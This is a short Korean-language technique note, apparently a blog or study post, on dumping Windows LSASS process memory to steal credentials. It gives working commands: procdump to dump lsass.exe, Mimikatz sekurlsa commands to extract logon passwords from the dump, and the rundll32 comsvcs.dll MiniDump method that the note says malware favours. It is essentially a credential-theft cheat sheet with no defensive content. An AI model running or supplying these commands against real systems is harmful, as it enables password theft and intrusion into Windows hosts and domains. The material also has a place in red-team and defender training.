[Windows] - LSASS Memory Dump

OS Credential Dumping: LSASS Memory
프로세스의 메모리 공간에 저장되는 도메인, 로컬 사용자 이름 및 비밀번호를 LSASS라고 한다. 
사용자가 Logon 후 시스템은 LSASS 프로세스 메모리에 자격 증명 자료를 생성하고 저장한다.

이는 LSASS 프로세스 메모리를 특정 호스트에서 덤프하고 로컬 시스템에서 분석이 가능하다. 

EX) 특정 호스트

procdump -ma lsass.exe lsass.dmp

procdump를 이용하여 lsass.exe를 dmp 덤프를 한다. 그 후 로컬로 파일을 옮기면된다.
Lsass 메모리 덤프 파일을 분석 하기위해서 필요한 도구는 Mimikatz이다. 

> sekurlsa::Minidump lsass.dmp 
> sekurlsa::logonPasswords

comsvcs.dll(멀웨어가 주로 사용한다)을 이용해서도 할 수 있다. 
rundll32.exe는 dll 파일을 다른 응용프로그램에서도 실행할 수 있도록 하는 프로그램이다. 

> rundll32.exe C:\Windows\System32\comsvcs.dll Minidump (PID) lsass.dmp full